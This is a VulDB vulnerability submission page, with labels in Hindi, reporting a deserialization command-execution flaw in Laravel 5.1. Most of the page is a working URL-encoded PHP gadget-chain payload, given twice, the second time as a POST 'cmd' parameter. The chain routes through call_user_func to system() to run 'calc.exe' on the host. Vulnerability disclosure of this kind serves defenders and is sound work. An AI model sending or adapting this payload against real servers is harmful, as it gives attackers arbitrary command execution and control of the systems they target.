| शीर्षक | Laravel exists command execution |
|---|
| विवरण | laravel 5.1 exists deserialization command execution，
The laravel version number is 5.1.
This vulnerability can be used to obtain host system permissions.
The details of the vulnerability are at the following link, which is different from the chain circulating on the Internet
exp:
O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D
post pass parameter cmd parameter
cmd=O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D |
|---|
| स्रोत | ⚠️ https://github.com/beicheng-maker/vulns/issues/2 |
|---|
| उपयोगकर्ता | F10wers13eiCheng (UID 30725) |
|---|
| सबमिशन | 17/08/2022 05:22 AM (4 साल पहले) |
|---|
| संयम | 17/08/2022 06:46 AM (1 hour later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 206501 [laravel 5.1 अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|